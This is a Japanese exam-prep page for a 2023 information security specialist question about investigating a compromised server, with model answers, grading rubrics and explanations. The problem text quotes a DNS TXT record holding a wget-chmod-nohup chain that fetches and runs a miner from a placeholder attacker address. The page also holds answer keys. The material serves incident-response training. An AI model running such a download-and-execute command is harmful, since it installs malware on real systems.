令和5年度 春期 情報処理安全確保支援士試験 午後Ⅰ 問題 問2 受付サーバ侵害のログ分析と攻撃痕跡の調査

テクノロジセキュリティ技術ネットワークOS・ソフトウェア

この問題は2023(R5)春 情報処理安全確保支援士 午後Iに出題されたものです。出題時点の法令・制度に基づく内容のため、現行の内容と一致しない場合があります。

本ページの問題文・選択肢は、原本の体裁を Web 表示用に正規化しています(改行・記号・数式・図表参照の調整)。設問の趣旨および正解に影響する変更は加えていません。

学習ガイド

受付サーバのSSHログイン失敗を起点に、侵害範囲と攻撃者の行動を調査する問題です。FWログ、ps、netstatの記録を時刻・PID・通信方向で照合し、攻撃ツールの動作モードを特定します。DNS経由の永続化と、解析対象ファイルの取得方法も確認します。本文・表・図の根拠を行き来し、用語だけを暗記するのではなく、短い記述にも判断の理由を残して解答する手順を示します。

この記事で押さえる論点

  • FTPのアクティブ・パッシブ両モードのデータコネクションがFWログにどう記録されるかを説明できる
  • 攻撃ツールのバインドモードとコネクトモードの通信方向を、ps・netstat・FWログの項番の対応で裏付けられる
  • DNSのTXTレコードを使ったコマンド配布がAレコードでは成立しない理由を仕様から述べられる
  • 不審ファイルの証拠保全で、稼働中のファイルそのものを取得すべき理由を説明できる

問題本文

セキュリティインシデントに関する次の記述を読んで,設問に答えよ。

R社は,精密機器の部品を製造する従業員250名の中堅の製造業者である。本社に隣接した場所に工場がある。R社のネットワーク構成を図1に示す。

図1 R社のネットワーク構成
図の説明テキスト

R社のネットワーク構成図。本社にはDMZ(192.168.0.0/24)と利用者LAN(192.168.2.0/24)があり、工場には工場LAN(192.168.1.0/24)が存在する。DMZ内には受付サーバ(192.168.0.1)、DBサーバ(192.168.0.2)、メールサーバ(192.168.0.3)がある。工場LANには製造管理サーバ(192.168.1.145)が含まれる。

サーバ,FW,L2SW,L3SW及びPCは,情報システム課のU課長,Mさん,Nさんが管理しており,ログがログ管理サーバで収集され,一元管理されている。

DMZ上のサーバのログは常時監視され,いずれかのサーバで1分間に10回以上のログイン失敗が発生した場合に,アラートがメールで通知される。

FWは,ステートフルパケットインスペクション型であり,通信の許可,拒否についてのログを記録する設定にしている。FWでは,インターネットから受付サーバへの通信は443/TCPだけを許可しており,受付サーバからインターネットへの通信はOSアップデートのために443/TCPだけを許可している。インターネットから受付サーバ及びメールサーバへのアクセスでは,FWのNAT機能によってグローバルIPアドレスをプライベートIPアドレスに1対1で変換している。

受付サーバでは,取引先からの受注情報をDBサーバに保管するWebアプリケーションプログラム(以下,アプリケーションプログラムをアプリという)が稼働している。DBサーバでは,受注情報をファイルに変換してFTPで製造管理サーバに送信する情報配信アプリが常時稼働している。これらのアプリは10年以上の稼働実績がある。

〔DMZ上のサーバでの不審なログイン試行の検知〕

ある日,Mさんは,アラートを受信した。Mさんが確認したところ,アラートは受付サーバからDBサーバとメールサーバに対するSSHでのログイン失敗によるものであった。また,受付サーバからDBサーバとメールサーバに対してSSHでのログイン成功の記録はなかった。Mさんは,不審に思い,U課長に相談して,不正アクセスを受けていないかどうか,FWのログと受付サーバを調査することにした。

〔FWのログの調査〕

ログイン失敗が発生した時間帯のFWのログを表1に示す。

表1 FWのログ
図の説明テキスト
項番 日時 送信元アドレス 宛先アドレス 送信元ポート 宛先ポート 動作
1-1 04/21 15:00 a0.b0.c0.d0 注1) 192.168.0.1 34671/TCP 443/TCP 許可
1-2 04/21 15:00 a0.b0.c0.d0 192.168.0.1 34672/TCP 443/TCP 許可
1-3 04/21 15:03 a0.b0.c0.d0 192.168.0.1 34673/TCP 8080/TCP 拒否
1-4 04/21 15:08 192.168.0.1 a0.b0.c0.d0 54543/TCP 443/TCP 許可
1-232 04/21 15:15 192.168.0.1 192.168.1.122 34215/UDP 161/UDP 拒否
1-233 04/21 15:15 192.168.0.2 192.168.1.145 55432/TCP 21/TCP 許可
1-234 04/21 15:15 192.168.0.2 192.168.1.145 55433/TCP 60453/TCP 許可
1-286 04/21 15:20 192.168.0.1 192.168.1.145 54702/TCP 21/TCP 許可
1-287 04/21 15:20 192.168.0.1 192.168.1.145 54703/TCP 22/TCP 拒否
1-327 04/21 15:24 192.168.0.1 192.168.1.227 58065/TCP 21/TCP 拒否
1-328 04/21 15:24 192.168.0.1 192.168.1.227 58066/TCP 22/TCP 拒否

注1) a0.b0.c0.d0はグローバルIPアドレスを表す。

表1のFWのログを調査したところ,次のことが分かった。

  • 受付サーバから工場LANのIPアドレスに対してポートスキャンが行われた。
  • 受付サーバから製造管理サーバに対してFTP接続が行われた。
  • 受付サーバと他のサーバとの間ではFTPのデータコネクションはなかった。
  • DBサーバから製造管理サーバに対してFTP接続が行われ,DBサーバから製造管理サーバにFTPの a モードでのデータコネクションがあった。

以上のことから,外部の攻撃者の不正アクセスによって受付サーバが侵害されたが,攻撃者によるDMZと工場LANとの間のファイルの送受信はないと推測した。Mさんは,受付サーバの調査に着手し,Nさんに工場LAN全体の侵害有無の調査を依頼した。

〔受付サーバのプロセスとネットワーク接続の調査〕

Mさんは,受付サーバでプロセスとネットワーク接続を調査した。psコマンドの実行結果を表2に,netstatコマンドの実行結果を表3に示す。

表2 ps コマンドの実行結果(抜粋)
図の説明テキスト
項番 利用者ID PID 注1) PPID 注2) 開始日時 コマンドライン
2-1 root 2365 3403 04/01 10:10 /usr/sbin/sshd -D
2-2 app 注3) 7438 3542 04/01 10:11 /usr/java/jre/bin/java -Xms2g(省略)
2-3 app 1275 7438 04/21 15:01 ./srv -c -mode bind 0.0.0.0:8080 2>&1
2-4 app 1293 7438 04/21 15:08 ./srv -c -mode connect a0.b0.c0.d0:443 2>&1
2-5 app 1365 1293 04/21 15:14 ./srv -s -range 192.168.0.1-192.168.255.254

注1) プロセスID。
注2) 親プロセスID。
注3) Webアプリの実行用利用者ID。

表3 netstat コマンドの実行結果(抜粋)
図の説明テキスト
項番 プロトコル ローカルアドレス 外部アドレス 状態 PID
3-1 TCP 0.0.0.0:22 0.0.0.0:* LISTEN 2365
3-2 TCP 0.0.0.0:443 0.0.0.0:* LISTEN 7438
3-3 TCP 0.0.0.0:8080 0.0.0.0:* LISTEN 1275
3-4 TCP 192.168.0.1:54543 a0.b0.c0.d0:443 ESTABLISHED 1293
3-5 TCP 192.168.0.1:64651 192.168.253.124:21 SYN_SENT 1365

srvという名称の不審なプロセスが稼働していた。Mさんがsrvファイルのハッシュ値を調べたところ,インターネット上で公開されている攻撃ツールであり,次に示す特徴をもつことが分かった。

  • C&C(Command and Control)サーバから指示を受け,子プロセスを起動してポートスキャンなど行う。
  • 外部からの接続を待ち受ける“バインドモード”と外部に自ら接続する“コネクトモード”でC&Cサーバに接続することができる。モードの指定はコマンドライン引数で行われる。
  • ポートスキャンを実行して,結果をファイルに記録する(以下,ポートスキャンの結果を記録したファイルを結果ファイルという)。さらに,SSH又はFTPのポートがオープンしている場合,利用者IDとパスワードについて,辞書攻撃を行い,その結果を結果ファイルに記録する。
  • SNMPv2cでpublicという b 名を使って,機器のバージョン情報を取得し,結果ファイルに記録する。
  • 結果ファイルをC&Cサーバにアップロードする。

Mさんは,表1〜表3から,次のように考えた。

  • 攻撃者は,一度,srvの c モードで,C&Cサーバとの接続に失敗した後,srvの d モードで,C&Cサーバとの接続に成功した
  • 攻撃者は,C&Cサーバとの接続に成功した後,ポートスキャンを実行した。ポートスキャンを実行したプロセスのPIDは,e であった。

Mさんは,受付サーバが不正アクセスを受けているとU課長に報告した。U課長は,関連部署に伝え,Mさんに受付サーバをネットワークから切断するよう指示した。

〔受付サーバの設定変更の調査〕

Mさんは,攻撃者が受付サーバで何か設定変更していないかを調査した。確認したところ,機器の起動時にDNSリクエストを発行して,ドメイン名△△△.comのDNSサーバからTXTレコードのリソースデータを取得し,リソースデータの内容をそのままコマンドとして実行するcronエントリーが仕掛けられていた。Mさんが調査のためにdigコマンドを実行すると,図2に示すようなリソースデータが取得された。

図2 △△△.comのDNSサーバから取得されたリソースデータ
図の説明テキスト

DNSサーバから取得されたリソースデータのテキスト。「wget https://a0.b0.c0.d0/logd -q -O /dev/shm/logd && chmod +x /dev/shm/logd && nohup /dev/shm/logd & disown」というコマンドチェーンが記載されている。

Mさんが受付サーバを更に調査したところ,logdという名称の不審なプロセスが稼働していた。Mさんは,logdのファイルについてハッシュ値を調べたが,情報が見つからなかったので,マルウェア対策ソフトベンダーに解析を依頼する必要があるとU課長に伝えた。Webブラウザで図2のURLからlogdのファイルをダウンロードし,ファイルの解析をマルウェア対策ソフトベンダーに依頼することを考えていたが,U課長から,ダウンロードしたファイルは解析対象としては適切ではないとの指摘を受けた。この指摘を踏まえて,Mさんは,調査対象とするlogdのファイルを f から取得して,マルウェア対策ソフトベンダーに解析を依頼した。解析の結果,暗号資産マイニングの実行プログラムであることが分かった。

調査を進めた結果,工場LANへの侵害はなかった。Webアプリのログ調査から,受付サーバのWebアプリが使用しているライブラリに脆弱性が存在することが分かり,これが悪用されたと結論付けた。システムの復旧に向けた計画を策定し,過去に開発されたアプリ及びネットワーク構成をセキュリティの観点で見直すことにした。

設問と解答・解説

設問1

本文中のaに入れる適切な字句を答えよ。

模範解答

パッシブ

採点基準(配点 5点)

正確性(内容)(5点)

  • 5: 「パッシブ」と完全に一致している。
  • 3: スペルミスなどの軽微な表記揺れがあるが、パッシブモードを指していることが明確にわかる。
  • 0: 不正解または未解答。

解説

解答の根拠

FTP通信には アクティブモードパッシブモード の2つの通信方式が存在します。

設問ではFW(ファイアウォール)のログに記録されるデータコネクションの特徴から、どちらのモードが使用されているかを判定する必要があります。

パッシブモードでは、クライアントからサーバに対してデータコネクションを確立するため、FWのログにはクライアント側を送信元、サーバ側を宛先とする通信が記録されます。

高得点のポイント

  • FTPの通信モード(アクティブ/パッシブ)の動作の違いを正確に理解していること

  • FWのログから通信の方向性(送信元と宛先)を読み取れること

設問1は,正答率が低かった。FTP通信の動作を理解し,“アクティブモード”,“パッシブモード”のデータコネクションがそれぞれFWのログにどのように記録されるかについて理解してほしい。

設問2

(1)

本文中のbに入れる適切な字句を,10字以内で答えよ。

模範解答

コミュニティ

採点基準(配点 5点)

正確性(内容)(5点)

  • 5: 「コミュニティ」と完全に一致している。
  • 3: 意味的に同一な語句が含まれているが、指定された字句と完全一致しない。
  • 0: 不正解または未解答。

解説

解答の根拠

SNMP(Simple Network Management Protocol)において、アクセス制御やグループ分けの用途で使用されるパスワードのような文字列を コミュニティ名 (コミュニティストリング)と呼びます。

攻撃者がSNMPのデフォルトのコミュニティ名(publicなど)を推測し、不正アクセスを試みる事例が多く見られます。

高得点のポイント

  • SNMPの基本的な仕組みと、認証におけるコミュニティの役割を理解していること

(2)

本文中のcに入れる適切な字句を,“バインド”又は“コネクト”から選び答えよ。

模範解答

バインド

採点基準(配点 5点)

正確性(内容)(5点)

  • 5: 「バインド」と解答している。
  • 0: 不正解または未解答。

解説

解答の根拠

マルウェアの通信において、攻撃対象のサーバ側でポートを開いて待ち受け、攻撃者からの接続を待つ方式を バインドモード と呼びます。

プロセスとネットワーク接続の調査において、特定のポートをリッスン(LISTEN)しているプロセスが存在し、それに対する外部からの通信試行が見られる場合、バインドモードであると推測できます。

高得点のポイント

  • バインドモードとコネクトモード(リバースシェルなど)の通信の向きの違いを正確に把握すること

(3)

また,下線①について,Mさんがそのように判断した理由を,表1中〜表3中の項番を各表から一つずつ示した上で,40字以内で答えよ。

模範解答

2-3によって起動した3-3のポートへの通信が1-3で拒否されているから

採点基準(配点 5点)

知識・理解度(内容)(3点)

  • 3: プロセスの起動およびポートへの通信がFWで拒否されている旨が正しく記述されている。
  • 1: 通信の拒否に触れているが、事象の結びつけが不十分である。
  • 0: 内容が不適切、または未解答。

論理性(構造)(2点)

  • 2: 表1〜表3の項番を用いて、起動したプロセスと通信の拒否の事実が論理的に結びついている。
  • 1: 項番の指定はあるが、因果関係の説明がやや不明瞭である。
  • 0: 論理構成が破綻している、または無関係な記述である。

解説

解答の根拠

バインドモードのマルウェアが起動しても、ファイアウォール(FW)等の設定によって外部からの接続がブロックされていれば、攻撃は成立しません。

表1(FWのログ)、表2(プロセスの起動状況)、表3(ポートの利用状況)を突き合わせることで、プロセス(表2の項番2-3)が開き待機しているポート(表3の項番3-3)への通信が、FW(表1の項番1-3)で拒否(Deny/Drop)されていることが確認できます。

高得点のポイント

  • プロセスの起動、ポートの待機、FWの通信記録という複数の情報を関連付けて分析できているか

  • 各表の項番(2-3、3-3、1-3)を漏れなく示しているか

(4)

本文中のdに入れる適切な字句を,“バインド”又は“コネクト”から選び答えよ。

模範解答

コネクト

採点基準(配点 5点)

正確性(内容)(5点)

  • 5: 「コネクト」と解答している。
  • 0: 不正解または未解答。

解説

解答の根拠

マルウェアが感染端末側から攻撃者のサーバ(C&Cサーバなど)に対して能動的に接続を行う方式を コネクトモード (リバースモード)と呼びます。

内部から外部への通信はFWで許可されていることが多く、バインドモードが失敗した際のアプローチとして用いられます。

高得点のポイント

  • 外部へ向けて通信を開始しているというログの痕跡から、コネクトモードであることを読み取れること

(5)

また,下線②について,Mさんがそのように判断した理由を,表1中〜表3中の項番を各表から一つずつ示した上で,40字以内で答えよ。

模範解答

2-4によって開始された3-4の通信が1-4で許可されているから

採点基準(配点 5点)

知識・理解度(内容)(3点)

  • 3: 開始された通信がFWで許可されている旨が正しく記述されている。
  • 1: 通信の許可に触れているが、事象の結びつけが不十分である。
  • 0: 内容が不適切、または未解答。

論理性(構造)(2点)

  • 2: 表1〜表3の項番を用いて、開始された通信と許可の事実が論理的に結びついている。
  • 1: 項番の指定はあるが、因果関係の説明がやや不明瞭である。
  • 0: 論理構成が破綻している、または無関係な記述である。

解説

解答の根拠

コネクトモードでの通信が成立したと判断する理由は、感染サーバから外部への通信がFWで遮断されずに通過しているためです。

表2の項番2-4によって開始された通信(表3の項番3-4)が、表1の項番1-4においてFWで許可(Allow/Permit)されている事実を指摘する必要があります。

高得点のポイント

  • プロセスの通信開始とFWでの許可状況を正しくリンクさせているか

  • 指定通り各表の項番(2-4、3-4、1-4)を解答に含めているか

(6)

本文中のeに入れる適切な数を,表2中から選び答えよ。

模範解答

1365

配点 5

解説

解答の根拠

表2の項番2-5では、srv -s -range 192.168.0.1-192.168.255.254 がPID 1365 で起動されています。

-s -range は指定範囲を走査する子プロセスであり、表3の項番3-5でもPID 1365が工場LANのFTPポートへ接続を試みています。したがって、ポートスキャンを実行したPIDは 1365 です。

親プロセス1293はC&Cサーバとのコネクトモード通信を担うため、ポートスキャンを実行したPIDとは区別します。

確認する項番

表2の2-5と表3の3-5を、PID 1365で対応付けます。

設問2は,(3),(4)ともに正答率が高かった。攻撃の調査では,マルウェアの“バインドモード”,“コネクトモード”のそれぞれの通信の方向を理解した上で,プロセスの起動,ポートの利用,FWの通信記録など複数の情報の関連性を正しく把握する必要がある。複数の情報を組み合わせて調査することの必要性を認識してほしい。

設問3

(1)

本文中の下線③について,Aレコードではこのような攻撃ができないが,TXTレコードではできる。TXTレコードではできる理由を,DNSプロトコルの仕様を踏まえて30字以内で答えよ。

模範解答

TXTレコードには任意の文字列を設定できるから

採点基準(配点 5点)

知識・理解度(内容)(3点)

  • 3: TXTレコードには任意の文字列が設定できるという仕様に明確に言及している。
  • 1: TXTレコードの仕様に触れているが、説明が不正確または不十分である。
  • 0: 内容が不適切、または未解答。

論理性(構造)(2点)

  • 2: 攻撃手法とレコード仕様の関連性が簡潔かつ明確にまとまっている。
  • 1: 言い回しにやや難があるが、文意は通じる。
  • 0: 論理が通っていない、または無関係な記述である。

解説

解答の根拠

DNSの Aレコード はホスト名に対するIPv4アドレスを定義するためのものであり、IPアドレスの書式以外のデータを格納することはできません。

一方、 TXTレコード は本来テキスト情報を記述するためのものであり、SPFレコードの設定やドメイン所有権の確認など多目的に利用されます。任意の文字列を格納できる仕様を悪用し、マルウェアが攻撃コマンドや設定情報などをTXTレコードから取得する手法が存在します。

高得点のポイント

  • TXTレコードに「任意の文字列」を設定・格納できるというDNSプロトコルの仕様を明記していること

(2)

本文中の下線④について,適切ではない理由を,30字以内で答えよ。

模範解答

稼働しているファイルと内容が異なる可能性があるから

採点基準(配点 5点)

知識・理解度(内容)(3点)

  • 3: 時間経過によるファイル内容の変化の可能性に正しく言及している。
  • 1: ファイルの変化に触れているが、理由や状況の説明が曖昧である。
  • 0: 内容が不適切、または未解答。

論理性(構造)(2点)

  • 2: 調査手法として不適切である理由が論理的かつ簡潔に説明されている。
  • 1: 説明が冗長、または論理の飛躍がわずかにある。
  • 0: 論理が通っていない、または無関係な記述である。

解説

解答の根拠

インシデント調査において、外部のURLからファイルを後日再取得して解析する手法は証拠保全の観点から不適切です。

攻撃者がサーバ上のファイルを書き換えたり、アクセスする時間や送信元IPアドレスによって動的に異なるレスポンスを返したりする設定になっている可能性があるためです。

高得点のポイント

  • 取得するファイルがインシデント当時の「稼働しているファイル」と内容が異なるリスクを指摘していること

(3)

本文中のfに入れる適切なサーバ名を,10字以内で答えよ。

模範解答

受付サーバ

採点基準(配点 5点)

正確性(内容)(5点)

  • 5: 「受付サーバ」と完全に一致している。
  • 3: 「受付サーバー」など、意味は通るが軽微な表記揺れがある。
  • 0: 不正解または未解答。

解説

解答の根拠

設定変更の調査対象となっているサーバを文脈から特定します。

一連のインシデントの起点および調査の対象となっているのは 受付サーバ であり、当該サーバの構成情報や設定ファイルの変更有無を確認することが求められています。

高得点のポイント

  • 問題文の構成とシステムアーキテクチャから、対象となるサーバ名(受付サーバ)を正確に読み取ること

設問3(2)は,正答率が平均的であった。時間の経過とともにURL上のファイルが変わっている可能性があることを認識し,証拠保全や不審ファイルの取扱方法について理解を深めてほしい。